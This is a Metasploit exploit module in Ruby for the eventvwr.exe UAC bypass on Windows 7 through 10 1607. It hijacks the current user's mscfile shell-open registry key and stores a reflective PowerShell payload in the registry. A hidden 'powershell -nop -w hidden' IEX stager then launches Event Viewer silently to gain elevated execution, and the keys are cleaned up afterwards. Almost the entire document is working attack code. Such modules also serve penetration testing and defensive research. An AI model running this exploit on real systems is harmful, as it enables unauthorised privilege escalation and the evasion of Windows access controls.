##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::Powershell
  include Post::Windows::Priv
  include Post::Windows::Registry
  include Post::Windows::Runas

  EVENTVWR_DEL_KEY = 'HKCU\\Software\\Classes\\mscfile'.freeze
  EVENTVWR_WRITE_KEY = 'HKCU\\Software\\Classes\\mscfile\\shell\\open\\command'.freeze
  EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
  EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
  EVENTVWR_PATH = '%WINDIR%\\System32\\eventvwr.exe'.freeze
  EVENTVWR_WOW64_PATH = '%WINDIR%\\SysWOW64\\eventvwr.exe'.freeze
  PSH_PATH = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'.freeze
  CMD_MAX_LEN = 2081

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',
        'Description' => %q{
          This module will bypass Windows UAC by hijacking a special key in the Registry under
          the current user hive, and inserting a custom command that will get invoked when
          the Windows Event Viewer is launched. It will spawn a second shell that has the UAC
          flag turned off.

          This module modifies a registry key, but cleans up the key once the payload has
          been invoked.

          The module does not require the architecture of the payload to match the OS. If
          specifying EXE::Custom your DLL should call ExitProcess() after starting your
          payload in a separate process.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matt Nelson', # UAC bypass discovery and research
          'Matt Graeber',   # UAC bypass discovery and research
          'OJ Reeves'       # MSF module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'],
          ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1']
        ],
        'DisclosureDate' => '2016-08-15',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
            ]
          }
        }
      )
    )
  end

  def check
    version = get_version_info
    if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1607)
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    eventvwr_cmd = EVENTVWR_PATH
    registry_view = REGISTRY_VIEW_NATIVE

    # Make sure we have a sane payload configuration

    if session.arch != target.arch.first
      fail_with(Failure::NoTarget, 'Session and Target arch must match')
    end
    if sysinfo['Architecture'] == ARCH_X64
      vprint_status('Target is x64')
      if session.arch == ARCH_X86
        vprint_status('Detected Target/Session mismatch.  Syswow Required.')
        registry_view = REGISTRY_VIEW_64_BIT
        eventvwr_cmd = EVENTVWR_WOW64_PATH
      end
    elsif target_arch.first == ARCH_X64
      # if we're on x86, we can't handle x64 payloads
      fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
    end

    # Validate that we can actually do things before we bother
    # doing any more work
    check_permissions!

    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    payload_value = rand_text_alpha(8)
    psh_path = expand_path(PSH_PATH.to_s)
    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    vprint_status("template_path #{template_path}")
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)

    psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
    cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"

    existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''

    if existing.empty?
      registry_createkey(EVENTVWR_WRITE_KEY, registry_view)
    end

    print_status('Configuring payload and stager registry keys ...')
    registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
    registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)

    cmd_path = expand_path(eventvwr_cmd.to_s)
    print_status("Executing payload: #{cmd_path}")
    result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE')

    if result['return'] > 32
      print_good('eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.')
      Rex.sleep(10)
    else
      print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}")
    end

    handler(client)

    print_status('Cleaning up registry keys ...')
    if existing.empty?
      registry_deletekey(EVENTVWR_DEL_KEY, registry_view)
    else
      registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
      registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)
    end
  end

  def check_permissions!
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?

    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    unless is_in_admin_group?
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    print_status('UAC is Enabled, checking level...')
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    elsif admin_group
      print_good('Part of Administrators group! Continuing...')
    else
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
end
